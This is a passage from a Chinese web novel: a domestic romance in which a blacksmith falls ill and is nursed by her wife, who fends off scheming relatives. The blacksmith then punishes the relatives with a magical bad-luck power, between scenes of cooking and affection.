她喊了好久,江浔才给了她一点反应,沉重眼皮缓缓睁开一条缝隙,眼神看着她,想要告诉她自己没事。 可嗓子中却发不出一点声音。 江浔生病一般都是从嗓子开始哑起,然后是发烧,最严重时好几天都说不出话。 见江浔醒了,还能动动手指,阿雅立马道:“我去找大夫,你等我。” 说着直接下床,胡乱穿了身衣服,抹抹自己掉下来的眼泪,就跑向医馆的方向。 不知是不是因为江浔体温太高的缘故,她的腿放在江浔身上一晚上,早就不疼了,甚至还暖洋洋的很舒服。 跑起来也没什么问题。 赶到医馆后,她同江浔上次来寻陈大夫一样,都是把情况说的特别严重,让陈大夫着急忙慌提着药箱赶向她们家中。 结果一把脉,发现根本没有那么严重! 吃几服药,好好休养就能好! 陈大夫无语地看向阿雅,想说她几句,结果在看到阿雅苍白的面容,担忧的神色后,又什么都说不出了。 只能交代好注意事项后,摆摆手往外走,心中安慰自己,来回跑就当是强身健体了。 阿雅拿到药后,开始马不停蹄为江浔熬上。 等药好时,又开始做饭。 她想让江浔吃清淡、吃柔软点,所以选择做烫饭。 从李屠妇送的半扇猪肉里切下点瘦肉,切粒,放入锅中用大葱、姜来炒香。炒好后放在一边备用,再往锅里倒入打好的鸡蛋液,炒熟,加入肉粒、水、昨夜剩的米饭。 等锅里煮开的同时,阿雅把白菜切成段,又挑选两个大番柿,切成片,一同放入锅中。 撒点盐,盖上锅盖闷煮。 烫饭不需要什么技巧,如同乱炖一般,把自己想吃的东西全部放入锅中煮就行了。 也方便,煮好后加一点盐,怎么弄都好吃。 等锅中饭菜全部热熟,阿雅拿了个江浔做的大铁盆,盛满满一盆,朝屋内端去。 这大铁盆很神奇,不怎么烫手,想怎么端都行。 坐在床边,捧着大铁盆,用勺子舀出一勺,吹到合适的温度后,才喊醒江浔,喂江浔吃东西。 被喊醒的江浔思维其实是发滞的,根本无法思考,见有东西喂到自己面前,就勉强张开唇吃下去。 还别说,烫饭微咸和番茄酸甜的口感,再加上里面瘦肉的香味儿,还真让生病中的江浔恢复了点食欲。 肚子咕噜噜叫着。 原本木木的眼神,慢慢看向阿雅,盯着阿雅一动不动,等着阿雅喂自己。 她想给阿雅说自己好饿,好想吃很多,但嗓子又哑到说不出话。 只能不断看着阿雅,眼神都变得柔软又可怜,像在水中泡过。 阿雅喂她的动作不停顿,但接触到江浔这种表情,因担忧皱起的眉头不自觉松开,叹口气,话语轻柔道:“浔姐姐乖,多吃点,快快恢复。” “你还说我不照顾自己的身体,你还不是一样?以后遇见这种事就别管了,菜坏了就坏了,要是身体出问题了,可怎么办?” “你以后要是也如此不照顾自己的身体,我可是会跟你生气的。” 阿雅的声音很软,充斥着撒娇的意味,可生病中的江浔总觉得对方是在数落自己。 再可爱都没用! 她难受! 江浔眼眶热热的,眼泪模糊双眼,眉毛不自觉往上扬,让自己眼睛睁大点,才能装住更多泪水,不至于让泪水落下。 这下就让阿雅看见垮着一张脸,要哭不哭,眼泪花儿在眼眶中打转,明明特别想哭,却还压抑着自己的江浔。 阿雅声音消失不见,动作顿住,眼神一下挪开,有些不好意思,随后又因为江浔表情实在是太过……可、可爱?又慢慢慢慢挪回。 她从没见过这个样子的江浔,好像卸下强大坚硬的外壳,露出软到冒水花儿的内里。 看着看着,阿雅实在忍不住了,把饭盆放在一边,捧住江浔的脸,埋下头就吻在江浔唇上! 那唇是滚烫的,特别软,像刚出炉的糯叽叽糕点。阿雅受到蛊惑,亲了几下后亲不够,悄悄用牙齿叼着江浔的唇细密地磨着。 她好想在这个时候占有江浔,好想在这个时候对江浔干点坏事。 她吻得越来越深,咬得越来越重。 没过几息,江浔闷哼一声,眼中的泪花终于掉了出来,眼神更加委屈。 看向阿雅,控诉她的漂亮妻子欺负她,在她那么难受的时候咬她。 听到江浔的闷哼,阿雅犹豫了一会儿,又亲了她好几下才把人放开。 抬头看见江浔脸上几道泪痕,阿雅也不觉得抱歉,反倒心情愉悦,吻掉上面挂着的泪珠后,才又开始给江浔喂东西。 浔姐姐太可爱了,生病也很可爱。 喂江浔吃完东西,喝完药后,阿雅像她照顾自己一样,给江浔嘴里也喂入一颗去了核的蜜饯。 甜滋滋的。 江浔没有像之前阿雅那样病到失去意识,她恍惚间,还是有意识的,能听懂阿雅说什么,能配合阿雅。 只是反应有些慢罢了。 接下来几日,她嗓子算彻底说不出话了,连张张嘴都觉得喉咙痛,吞东西都觉得有刀子在割。 阿雅无法,给她吃的各种东西都尽量做的软烂,让东西能很快经过江浔的喉咙,不要折磨她- 在照顾江浔的同时,阿雅也抽空把西屋所有番柿都给擦干,搬到铺子门口去卖。 她种的番柿个大饱满,红彤彤的,甚是讨人喜欢。 路过的人即便不买,也会停留驻足。 当然,一旦停留下来,怎么着也会买几个走。 番柿倒是比土豆卖的贵些,两个基本就有一斤,能卖五文钱,一天下来也能卖不少。 在江浔生病后的第三日,陆陆续续有些想要打铁的客人找来,阿雅给他们说了江浔生病,要过几天才能打铁后。 又让他们帮忙通知其他人,让大家不至于白跑一趟。 可不知这消息传着传着,怎么变成江浔得了疫病,要传染其他人的,让大家躲远点! 第二日,无意间听到这种传闻的阿雅,险些被气笑。 她就说为何前几日还卖得很好的番柿,今日突然没人来卖了,原来都是听信谣言,躲得远远儿得了。 只有李屠妇、谭婆婆、还有她一直觉得不对付的宋月柔,根本不信这种乱说的话,前来关心了几句。 宋月柔甚至还保证,自己会在豆腐铺里多说江浔没事,根本就不是什么疫病。 她豆腐铺食客多,经常会有三三两两食客凑在一起闲谈,消息也传得快,一传十十传百一下就能传开。 可在宋月柔回去说了一天后,突然觉得有些不对了。 她发现是有人故意在说江浔得的是疫病,故意在散播谣言的! 她把这件事告诉阿雅,可阿雅也没有什么好办法解决。 唯一的好办法就是江浔快快好起来,让谣言不攻自破。 阿雅没有把这件事告诉江浔,既然别人都不相信她们,都躲着她们,那索性她就关几天门,认真照顾江浔便是。 关上门来,阿雅做着营养的一日三餐,肉和菜不能少,还时不时煮个蛋或蒸个嫩蛋给江浔吃。 还会去宋月柔那边买点牛乳,煮开晾凉后,喂给江浔吃。 给江浔各种补,希望江浔能快快好起来。 不过不经常生病的人一旦生病,都是病来如山倒,病去如抽丝的。 直到第五日,江浔都还是躺在床上浑身酸痛,动倒是能动,就是太费力气了,很不舒适。 所以江浔是能不动就不动,养精蓄锐。 但其他人可不想让她那么舒适的养病,午食后,阿雅正想挨着江浔睡会儿午觉,却被砰砰砰的砸门声惊到。 她快速看向江浔,见江浔没有被吵醒,心中才放心许多,* 走到打铁铺门前,把门拉开一点缝隙。 朝外望去。 外面有三个人,有两个人都凶神恶煞的,脸色黝黑像是一对夫妻。 还有一个人是熟人,就是那日来参加喜宴,喊江浔堂妹的人。 那所谓的堂兄江志修站在两夫妻身后,埋着头,想要躲开。 他内心挺慌的,上次从江浔家里离开后,他就无比倒霉,当夜摔到水田里不说,还一整晚没被人发现。 要不是口鼻勉强露出水外,他恐怕就要命丧于水田之中了! 即便他第二日白日被人拉了起来,但身上爬满了蚂蝗,各个肥硕饱满,显然是吸满了他的血。 回家后,好不容易把蚂蝗弄掉,他身体虚到在家里躺了大半月有余,才勉强转好。 按理说他大半月待自己家里,应该不至于很倒霉吧? 但怪就怪在,平日里干练的娘,屡次三番把开水或饭菜撒在他身上,稳重的爹做事变得乱七八糟,让他一下床就会摔倒。 有一次,他不知锄头怎么会放茅厕里去,他一进去就踩到锄头,锄头把当场打在他脑壳上,让他晕晕乎乎掉进茅坑。 差点被淹死! 想到自己近日来的倒霉经历,江志修打了个寒颤,都有点不敢靠近打铁铺。 他是从打铁铺出来后开始倒霉的,谁知道是不是打铁铺的问题?谁知道是不是江浔的问题??? 他可不想再徘徊在生死之间了! 但他父母,也就是江浔的大伯伯母不信邪啊!非要来会会江浔! 江浔的大伯伯母本来是觉得江浔也不会太有钱,自家儿子能靠自己本事得到点,也好。得不到也不算亏。 可听完儿子复述的江浔婚宴上都有什么菜,听的他们两都馋了。 他们是比江浔大那么多的长辈,江浔不想着孝敬他们,反倒吃独食,这是什么理? 自古以来就没有这种理! 况且,能吃得起那么多好东西,江浔的银子绝对不是一星半点的,要是能得到一部分,那都够他们过好长一段时间的好日子了。 在他们心里,他们早已自动把江浔变成有几十两、几百两白银的香饽饽了。 反正江浔家现在也只有两个女人,怎么可能斗得过他们? 他们闹多了,江浔肯定就会受不了,选择拿钱消灾的。 大伯伯母两人想得很好,听到江浔生病的消息,更是笑得嘴都合不拢。 心里不断诅咒着江浔要是病死了,就更好了,就剩那一个她娶的妻子有什么用? 还不是外人一个。 他们故意散布谣言,说江浔得的是疫病,会传染的,就像当初大江铁匠夫妻二人一样,一下就会死两个。 他们本意是想吓走阿雅和其他人,虽然现在只成功了一半,但也够了。 清水镇的人看见他们在这里闹,是绝不会上前帮忙的。 看见打铁铺门被打开一条缝隙,伯母脸上露出点笑容,暗叹这些小年轻果然单纯,这不就被她找到机会了吗? 伯母憋着一口气,膀大腰圆的身体猛地撞上打铁铺的门! 阿雅没有防备,也经不住如此大的冲击力,直接被撞退好几步,险些摔倒在地! 打铁铺的木门咔嚓一声被撞烂,砸在阿雅胸口,砸的阿雅心口一痛,有些喘不上气。 脸色也煞白无比,要不是反应过来是有人想找事,家里江浔还生着病,她恐怕都要晕过去了。 她强行让自己清醒点,脑海中思绪万千,一边告诉自己这点痛不算什么,在为奴的日子里早就不知受过多少了。 一边又在想到底要怎么样才能撵走这些人。 她稳住自己后退的身形后,余光扫到桌子上放着的菜刀。 那些菜刀全是江浔打算卖的,正好让她找到了解决办法! 阿雅眼疾手快地拿起菜刀,在手中挽出一个刀花后,二话不说就砍向冲进来的伯母!!!! 江浔伯母哪能想到一个照面之间,这位看着温温柔柔,没什么脾气的小姑娘,就敢拿刀砍自己啊! 她赶忙止住自己朝前冲的身形,目眦欲裂连滚带爬地朝后退! “你们是什么人!竟然敢来找事!看我手中的刀答不答应!” 说着,阿雅也瞪着眼睛,不管三七二十一,就挥舞着刀朝冲进来的人砍去! 那个瞬间,她大脑一片空白,根本不敢想自己万一真砍到人怎么办?也不敢想万一自己没震慑住这几个人又该怎么办? 她其实连鸡都不曾杀过,即便被继母磋磨到后厨里帮工,杀鸡杀鱼那些活儿都有人干,她干的最多的是切菜,切各种菜。 切各种不用切,也非要她切的菜。 切到手指被磨起水泡,或冷水淘洗菜时被冻到生疮。 他们是故意折磨她的,想看她崩溃大哭,磕头求饶。 不过她其实对自己也挺狠的,要不然不能让继母放弃继续折磨她,巴不得把她送出府自生自灭。 想到这些,阿雅突然有点想笑,突然有点想感谢继母。 要不是经历了那么多,她不敢拿着刀对准别人,她无法把刀耍的如此利落唬人。 眼前的一切都变成五颜六色的光球,她看不清也无法思考,只记得不断前进不断挥动自己的手臂,砍向江浔的伯父伯母。 等她思绪再次回归之际,她跌倒在地上,膝盖磕出两道淤青。 而那三人,早已被她如此疯疯癫癫的模样吓逃了。 开玩笑,那乱挥的刀,即便砍不到他们身上,万一甩脱了,也有可能伤到他们! 江志修三人吓得不行,你推我我推你的往外跑,就怕跑慢了没命了。 江志修甚至还在心中埋怨自己的父母,她就说这打铁铺的人都有问题吧!看吧!这不就是个疯子吗! 江志修三人跑走后,阿雅强撑着身体,勉强把被撞掉的木门斜着安放回去,然后背抵在门上,眼泪哗哗地流。 她后怕极了,双手都在发着抖,脑海中甚至在想自己是不是砍到人了,只是因为精神恍惚才以为没砍到? 但她又不敢哭出声,怕吵到江浔。 她不知道江浔面对这种来找茬的人时,会不会有更好的解决办法,她只知道她只要比所有人都更狠就行了。 她可以的,她可以保护江浔的。 阿雅浑身发冷地坐在地上,背靠着门,呜咽哭着。 像一只被抛弃的小猫。 哭了好一会儿,哭到浑身发软,哭到眼泪都流干了,才缓慢撑起身子,一瘸一拐走向屋内。 她现在太想拥抱江浔,太想躲在江浔身边了。 进入屋内,床上的江浔还闭着眼,浑身暖洋洋软乎乎的。 阿雅跌撞着爬上床,依偎在江浔怀里,江浔的手自动环住她,想把她揉进自己怀中。 躺在江浔身边,阿雅才觉得自己好很多,一切杂乱的思绪都消失不见,以前对于她来说恐怖的事,也不再出现在她脑海中了。 她只觉得自己被阳光包裹着,被阳光温暖着。 很美好。 才受过惊吓的阿雅逐渐睡了过去,在江浔身边,即便刚刚经历了那么吓人的事,她也没有做噩梦,反倒是睡得很好- 再次醒来时是傍晚,阿雅睁眼正巧和江浔对上。 江浔眼弯弯地冲着阿雅笑,轻轻道:“我看你睡得熟就没叫你。我感觉我好很多了,已经能动了,这几天多亏你照顾我了。” 她是有意识的,也知道阿雅照顾她有多累,都有点不好意思了。 江浔的声音还是哑的,很有磁性,听的阿雅还没反应过来就脸就有点发红。 好一会儿才摇着头,慌乱解释道:“没有没有,应该的,我喜欢照顾你,你很乖。” 江浔哼了一声,“可我记得你把很乖的我欺负哭了。” 听到这话,阿雅呆住,直接整个人都红了! 第56章 霉运好运 阿雅怎么也没想到自己偷偷做的事江浔能知道, 她不就是想亲亲江浔吗! 最多只是下口重了点,但又没受伤,有什么大不了的? 她自己的妻子,难道还不许亲吗! 阿雅脑袋顶上冒着蒸腾的热气, 心中在为自己做的事辩驳, 并且越想越觉得自己做的对, 越想越觉得自己没错。 如此想着,阿雅气势汹汹地瞪向江浔,问道:“你难道不给我亲吗?你不给我亲想给谁亲!?” 江浔没想到明明应该是自己占上风,逗弄阿雅的,怎么几句话间,就被阿雅扳回一城, 变成她的不是了? 她来不及多想, 连忙解释道:“没有没有,我只给你亲, 不给别人亲的!没有别人!” 见江浔这么着急忙慌解释, 阿雅气势更足, “对!你只能给我亲!而我,什么时候都能亲你, 你好着我能亲, 你生病了我也能亲!” 说着她就拉出江浔的衣领子, 冲着那张红艳艳的唇亲了上去! 其实江浔还有点发烧,体温还很烫,呼吸灼热无比。 被吻住, 她顺势环住阿雅的腰, 把人搂在怀里。 本不打算张口的,但耐不住阿雅顺滑软舌不断舔她, 让她无法防守,只能任由阿雅进攻。 两人吻来吻去,都开始喘不过气时才分开。 江浔呼吸要更急促点,本来她就没有好,再加上吻了那么久,竟然觉得眼前阵阵发黑,虚得不行。 沉默一秒,江浔突然想去煎点陈大夫送的中药喝喝。 两人躺在床上缓过劲儿来后,阿雅起身去做东西吃,江浔则打算下床活动活动。 躺了好几天,都快躺废了。 阿雅打算做的简单,是番柿鸡蛋肉片炒饭,清淡但又有滋有味,适合生病的人吃。 自家种的番柿味道浓郁,酸味儿和甜味儿都刚刚好,炒了鸡蛋和肉片,再撒上一大把葱花,香味直冲进江浔鼻子里,让她的肚子咕咕叫起来。 生着病,身体消耗很大,她吃的那些东西都相当于没吃一样,醒来后只觉得肚子空空,饿的不行。 她想上前去帮阿雅端盆子,但被阿雅躲开了,并送上一句,“你还生着病身体虚弱,好好养着最重要。” 不知怎么的,江浔沉默了,心中想要煎药喝的冲动更强烈。 坐上桌后,她舀上满满一碗炒饭端着吃。 番柿鸡蛋肉片炒饭和其他炒饭不一样,其他炒饭要炒到发干才行,但番柿鸡蛋肉片炒饭不用,每一粒米饭裹着番柿红红的汤汁,黏黏糊糊的才好吃。 江浔吃进第一口,就忍不住囫囵夸奖道:“好吃!好吃!阿雅你的手艺真好!太幸福了。” 阿雅做的每样东西都合她的胃口,让她觉得幸福就是这么简单。 大口大口吃着炒饭,江浔一个人干了大半盆,把肚子填得饱饱的,才觉得好受些。 两人睡了太多觉,这个时候有点睡不着,便一起坐在院中田地旁开始研究怎么给田地上加个棚子。 平日里棚子不打开,让蔬菜们能充分照射阳光,下雨时再用棚子遮住蔬菜,不让蔬菜被雨打死。 鸡窝也该搭建了,两只小鸡已经半大,天气也逐渐变冷,是时候该有自己的屋子了。 “我不太会搭鸡窝。”说这话的时候江浔是扣着脑袋的,脸上有明显的疑惑,“要不我们找谭木匠来搭?” 虽然她思考一下应该也能搭出鸡窝来,但毕竟专业不对口,她搭建的过程中总会遇到问题,一次肯定是搭不出来的。 怕就怕,花费了时间和金钱,最终出来个残次品。 还不如只花钱,让谭木匠来做,肯定能比她做得更加精美精致。 搭棚子倒是简单,她只用竖起几根高竹竿,把防水的油布搭在上面就行了。 收取也方便。 阿雅听到她这么说,直接点头,“可以的,让谭木匠来还方便些。” 商量好,阿雅又给江浔说了一下番柿的情况,卖多少钱卖了多少等等。 镇里的传闻也没有瞒着江浔,反正这传闻立马就会不攻自破,也不用在意。 只是这传言属实恶毒,那些话要是传到当官的耳朵里,不信倒还好,要是信了的话不知江浔要遭什么罪。 听到自己有传染病的谣言,江浔皱了下眉,本还想再休息几日,现在也是不行了。 “我明日就开始开铺子门,告诉大家我没事。” “奇了怪了,怎么会有这种传闻?这也太不希望我好了吧?我有的罪过什么人吗?” 听到江浔的嘀咕,阿雅犹豫一下,还是决定把江志修三人的事告诉江浔。 她们两人在一起互相扶持,什么事都应该互通,不能有隐瞒。 况且她觉得江浔主意比她多,说不定能有好的解决办法。 言简意赅把江志修三人来闹过的事说与江浔听好,江浔脸上露出气愤的神色。 怒气冲冲道:“居然趁我生病耍这些小把戏,还欺负到你头上了。阿雅你放心,我一定要让他们长记性,知道我们不是好惹的。” 要说以前的江浔可能没办法对付这些极品亲戚,但现在的她可是瞬间想到解决方法了。 那就是用霉运,让他们一家三口持续倒霉。 反正那三人倒霉后,就没精力再来打扰她们了。 只不过霉运要遇见他们后才能使用,只能等他们再次找上门来,或者自己病好后去找他们。 不急于一时。 想到霉运,江浔就想到自己还开出过好运。 当时还觉得好运用不用都无所谓,现在想想,真是莫名其妙这段日子就在倒霉,遇到各种小人、糟心事。 江浔直接把好运用在自己和阿雅身上,一次性用完,能连续好运个十来日。 又开完自己新得到的所有盲盒,把开到的好运全部用上,总共能持续半个月。 用上好运后,她终于觉得心中安稳许多,月亮都亮不少- 第二日,江浔早早就起床开了铺子门,站在铺子门前晃悠。 每个从外边街上绕着路过的人看见她,脸上都露出惊讶的神色,似乎早已认定她会悄无声息死去。 而不是如此生龙活虎出现。 每当遇见这种人,江浔就会故意大声说道:“好久不见啊!看到我这么健康意外吗?没想到你这么恶毒,巴不得我死呢!” “你以为我真会出什么事?也不知道哪个长舌鬼在背后乱说话,祝乱说话的长舌鬼被拔掉舌头呢!” 她说这些的时候是笑着说的,阳光开朗,一下就把听到的人给说懵了,反应了好一会儿才反应过来听到的和看见的不一样。 当然,反应过来后,这些人也是羞愧难当,直接低下头快步离开,不敢反驳什么。 见他们这种反应,一早晨下来,江浔只觉得神清气爽,病都好不少了! 下午,她又关了铺子,坐在院中晒太阳。 衣服还特意多穿几件,怕冷到又生病了。 接下来几日,两人过了些安生日子,阿雅开始继续写话本,江浔病也差不多好完,开始喝大补的中药了。 只不过惹人烦的江志修一家又来了。 他们看见江浔好好站在打铁铺中,是有些难以置信的,他们早已在脑海中模拟了好几遍江浔死亡,自己拿着江浔的钱飞黄腾达的景象了。 现如今看见江浔还活的好好的,面上都有些不爽。 大伯直接道:“侄子既然不愿意还父母欠下的债,那大伯也不愿意过多纠缠,但你也要多记得我们的好啊。” “有什么好事,也得多想着我们家一点,是也不是?” 江浔可没有这人的虚伪劲儿,站起身,故意居高临下看着这人,道:“好事儿啊?好事儿就是你们还没死我就去奔丧,保准赶在头一个把你们送走,你说好不好啊?” “你、你?你怎么能这么说话!?”大伯看向比自己高一点,气势却十足,手中拿着打铁的锤子,仿佛一言不合就要砸自己头上的人。 忍不住朝后退一步,拉开距离。 “呵,还有更难听的。”江浔深邃眼眸扫过这三人,锐利如剑,一眼就把他们刺穿,“我可告诉你们,我娘在天之灵可保护着我呢!谁要是欺负到我头上来,可是要倒大霉的!” “你们要是不怕就尽管试试,看看谁先倒霉死!” 说罢,江浔把霉运用在三个人身上。 只见原本还风平浪静的打铁铺内,那道被撞坏的门动了一下,竟然无缘无故自己落下来了!! 有一人宽的木板朝着三人倒去,打铁铺内不够宽,三人也没办法往外躲。 躲来躲去,一点都没有逃脱木板的范围,被木板结结实实砸在脑袋上! 咔嚓——!!! 木板上出现三个大洞,他们脑袋穿过木板了! 看着被卡住脖子的三人,江浔憋笑,大声道:“不怕死就继续来找我麻烦!我看谁先去见阎王!” 说完江浔掂了掂手中的打铁锤,似乎要砸向他们。 那三人吓地慌乱想朝外跑,却因为卡在脖子上的木板太宽,砰一声撞在门上。 来回好几次,才狼狈逃窜出去。 被街上的人指着笑话。 他们三人头晕目眩,又来回撞到好些东西,被拉扯着让赔钱时,都想不明白自己怎么会突然就倒霉了? 只有江志修觉得这一幕异常熟悉,精神都有些崩溃了。 他不想再倒霉了! 到底有什么办法能不倒霉吗!? 他被自己父母拉着不断跑着,跑出城,明明从来就不会有错的路,三人同时走错,同时摔到水田内。 木板倒是摔断的,只不过木头块插进了他们的肩膀、手臂上。 疼得他们嗷嗷直叫。 而打铁铺内,江浔看着自己缺了一块的门板暗自决定找个机会让江志修一家三口赔偿! 第57章 充实的一天 撵走江志修三人后, 原本气势十足的江浔背一躬,铁锤放在地上,手扶着桌子,大口大口地喘着气。 “嗬, 嗬。” 喉咙里传出破风箱一样的声音, 像是马上要散架一般。 她病还没有完全好, 浑身酸软,动一下就感觉好累,更不要说拎起那么重的铁锤了。 幸好那三人跑得快,要不然她就得露馅儿了。 江浔心中庆幸,扶着桌的手臂在颤抖,腿也有些发软。 她慢慢走到凳子前坐下, 靠着墙休息。 门被夺走, 金灿灿的阳光透过一人宽的缝隙照进,洒在她身上。 不算太热。 阿雅从院中赶出来, 没有看见来闹事的人, 只看见缺了一块木板的门和累的不行的江浔。 “怎么了浔姐姐?你没事吧?”阿雅迈着莲步上前, 拿出自己贴身的小帕子,轻柔沾去江浔额角的汗, “你还未痊愈, 应该叫我的。” 并不是每次遇见事她都只能让江浔保护的。 她也可以保护江浔。 “这有什么, 吓走那些人简简单单,用不着我们阿雅大人出手。” 江浔笑了一下,抬眼看向面前秀丽静白的人儿。 屋外如金粉般的阳光洒在阿雅脸上, 白色细绒毛出现, 让她整个人更显柔和可爱,像哪座山里跑出来的小精灵。 这小精灵还知道关心人呢, 芊芊玉手抚摸在江浔脸上,仿若无骨的身子倚进江浔怀中。暗香萦绕,两人都定定地看着对方。 视线跟有魔力似的,一旦靠近,就纠缠在一起,怎么都移不开。 看着看着,阿雅的身子越来越低,江浔脑袋也完全仰起。 眼见就要亲吻在一起之时,大街上某不知名小商贩的声音突然响起,大声叫卖着自己的东西。 把两人惊醒! 阿雅水汪汪的眸子颤动一下,立马直起身子和江浔拉开距离,饱满的唇一张一合道:“呀,我那灶上还煎着药,是给你喝的,这一会儿功夫快要糊了吧!我去看看,你先放开我……” 江浔视线一直追随着阿雅,扫过那双杏眸,扫过那粉红的唇。 完全听不清阿雅在说什么,只想先亲了再说。 阿雅从她的怀抱中出去,转身走向小院,结果半道被江浔追上、抱住,纠纠缠缠走进院中,江浔才在人脸蛋上亲了一口。 素白脸蛋一下就变得粉红,像颗烟粉苹果。 看的江浔心动,又抱着人亲了蹭了好几下,直到阿雅揭开药罐盖子,苦涩中药气冒出,她才没有继续作乱。 两人刚吃过午饭,正是喝药的好时候。 阿雅用厚帕子包裹住药罐手柄,把里面的药倒进碗中。 再在碗旁边放上三颗蜜饯,偏头,用眼神示意自己身后的江浔该吃药了。 江浔身形一僵,抱住阿雅腰的手还不愿意松开。 这药不是治病的药,治病的药她早已喝完,这药是陈大夫送给她们,说是可以强身健体、补亏空的药。 江浔给阿雅说自己觉得身体虚弱,吃了这药说不定可以补补,阿雅就欣然给她煎了。 完全不知道江浔是抱着什么样的心思,才想喝这药的。 想到自己喝了后,就有可能不虚了,江浔咬咬牙,一只手臂放开阿雅,端起碗,把其中的药吹凉后,一口干下! 再吃入三颗蜜饯! 脸上因为药苦而狰狞起来的表情,这才平复下去,缓缓呼出一口又苦又甜的气息。 阿雅被她这种生不如死的反应逗地捂嘴笑,竟是主动踮起脚尖,在江浔脸边亲了一下。 这下,江浔是彻底感觉不到苦了,只觉得自己被阿雅甜进心里。 两人又腻乎一会儿,阿雅道:“我要去找谭木匠来修门,你好好待在家里,别让我担心好嘛?” 江浔看看阿雅,没说话。 心中想着,这些不都该是她说的话吗? 阿雅一个人出去,她才不放心呢。 可想到自己的身体,要是出去吹个风,再病倒了可怎么办?又要麻烦阿雅照顾了。 江浔心中考虑来考虑去,都在告诉自己要乖乖听话,等阿雅回来就好。但身体上却很诚实的跟着阿雅移动,一点都不想分开。 等阿雅收拾好,挎上个小篮子,准备出门时,江浔才恋恋不舍地放开手臂,站在打铁铺门口眼巴巴看着她。 “浔姐姐听话,我会很快回来的,不会有事的。”阿雅当然也知道江浔心中是什么想法,她主动踮脚抬手,摸摸江浔的头顶,算是安抚了。 安抚完,她挥挥手,走进街上的人流中,很快就消失不见。 留江浔一个人站在原地站了会儿,才蹲下身,眼巴巴等着她回来。 江浔在心中思考无数,想着阿雅确实极少出门,现在出去透透气也好。想着要是有谁见阿雅只是个半大小姑娘,想欺负她的话,她绝对不会饶了那人的! 胡思乱想许久,有道和她差不多高,比她更加健硕些的身形走过她的身边。 走过就算了吧,走到一半后,还特意倒回来在她面前啧啧两声,才又离开。 江浔:? 蹲着的江浔不知是谁这么讨厌,还专门倒回来嘲讽她一下。 她抬起头,看向那人的身影,居然是往日帮宋月柔挑货的人。 自从这人上次故意接近阿雅后,江浔就怎么看她都不顺眼了,现在被啧更是气不打一处来,冲那人的背影啧了回去! 哼,江浔心里没同那人计较,反正自己是在等阿雅,又不是没人要的野蘑菇。 反观那人,吊儿郎当,才是没人要的人! 江浔啧过后,就看着那人走进宋月柔的铺子里,不知干什么去了。 有些奇怪,往日那人都是早上给宋月柔挑东西,挑完东西一天都不会出现。 也不知现在找宋月柔是为何时。 但她对这些也不是很感兴趣,收回眼,再次看向大街的方向,等着阿雅回来- 阿雅上到街上,先去菜市逛了逛,买了些小菜准备拿回家用。 路过糕点铺时,被里面的糕点迷了眼,进去买了罐荔枝蜜饯。 现在正是出荔枝的时候,个大饱满,表皮红褐色的荔枝被摘下来,手指按住荔枝中缝的地方,轻轻一按。 荔枝壳啪嗒就爆开了。 新鲜荔枝是不会流很多水的,它的水分都包裹在果肉之中,饱满鲜嫩,色白透亮,一看就纯甜无比。 荔枝剥出来去核后,把乳白的果肉放入清水中,加入蜜糖搅拌熬煮。 要一直煮到蜜全部渗进荔枝的果肉中,才可以关火。 这个时候,荔枝的果香味儿早已与蜜糖里的甜味以及微弱的花香味儿融合,每一口都会感觉心被甜化。 把黏稠的果肉与糖水一起倒入陶罐中封存,运往各个糕点铺子售卖。 阿雅想着买一罐拿回去泡水,日后江浔喝药,也不用怕苦了。或者直接一勺一勺舀来吃,也挺不错的。 回去的路上,路过木匠铺子,阿雅就进去去告诉谭木匠她们家门要修的事。 谭木匠手上还有活计,不能马上跟着阿雅去修门,便让阿雅先回家,可能傍晚时他会去修门。 阿雅回到打铁铺时,刚好看见蹲在铺子门口长蘑菇的江浔。 江浔也看见她了,两人一对视,脸上就忍不住带上笑容,霎时使阳光失色,鸟儿无声。 她们快速凑到一起,江浔接过阿雅手中的东西往里面提,阿雅脚步轻快,口中道:“浔姐姐一个人等了我这么久,真厉害,晚食给浔姐姐做好吃的!” 话是这么说,但现在离晚食的时间还早着嘞,要想吃上好吃的,还要等一会儿。 回到家中后,阿雅坐在椅子上休息,顺便在脑海中构思着自己的新话本该写些什么。 但江浔因为不用打铁就显得有些无聊,非要抱着阿雅,时不时蹭蹭亲亲。 搞得阿雅总是无法专心投入,来回几次后,她生气了。 皱着眉圆眼瞪向江浔,气鼓鼓道:“浔姐姐别黏着我了,你去找点事做吧。” 见江浔不想离开,她还推着人,催促道:“快去快去,你去看看番柿吧,几日没卖出去,恐坏了。” 被推开的江浔一脸难以置信,没想到阿雅这么快就腻了,嫌她烦了,都不喜欢她了。 无法,她只能垮着张脸,黯然离场。 颓废的进入西屋,蹲下身,本来是想看番柿的状态怎么样,结果蹲下去后就莫名其妙面对着墙壁,开始在地上画圈圈。 心里也酸的直冒泡,开始回忆起阿雅的种种好。 回忆着回忆着,又觉得好像确实是自己太烦人了一点,才惹得阿雅嫌弃,要是自己不去打扰阿雅,说不定对方就不会嫌弃自己了。 边想,江浔边转身,默默拿起一颗红彤彤的番柿看着。 确定没问题后,才开始拿起下一颗观察。 蹲着检查了小半,腿麻了,又盘腿坐下,继续检查。 满地下红番柿中,有一大半是完好的,捏着也没有变软。剩下一小半已经开始有点软了,其中有十来个番柿身上还有几个小孔。 本来江浔看着这些小孔都还有些疑惑,没有反应过来是怎么回事,结果刚好她在检查番柿的时候,看见两只小鸡挺着胸脯,脑袋一晃一晃走进。 走到番柿面前,脚朝前一伸,脑袋咯一声就一前一后在番柿上叨出个坑。 速度快到江浔即便看见了,也来不及出声阻止。 江浔:…… 天杀的,原来是两只小鸡干的好事! 本来江浔的心情就不算美妙,这下想把它们炖了的心都有了。 “好好好,你们的鸡窝没有了,明日我就去买香料、配菜把你们炖了!” “去去去,走开,别在这里添乱!” 她挥动手臂,把两只小鸡撵开,拿起两颗被叨烂的番柿,有些心疼。 两颗这么大个的番茄,能卖五文钱嘞,现在只能留着自家吃了。 关键是自家吃都不知道要吃到猴年马月去了。 江浔坐在地上,心中思考着应该怎么处理这些番柿。 她能想到的方法是做成番茄酱,但干吃番茄酱也不好吃啊? 后续可能还要做点炸物,例如炸土豆条、炸鸡块,沾番茄酱吃。 如此想着,她又把所有不太好的番柿捡到背篓里,用力搬到灶台旁。 打算先用两个番柿做番茄酱来试试。 先把两个番柿洗干净,在表面切个十字花刀,再烧开水把番柿放下去烫一烫,番柿的披就能轻松剥下了。 剥的时候顺带把两只鸡叨过的地方挖掉,起个让江浔心里觉得干净点的安慰作用。 接着,拿个无油无水的盆出来,把番柿捣碎捣烂成糊状,再倒入锅里不断搅拌煮熟,防止番柿粘锅。 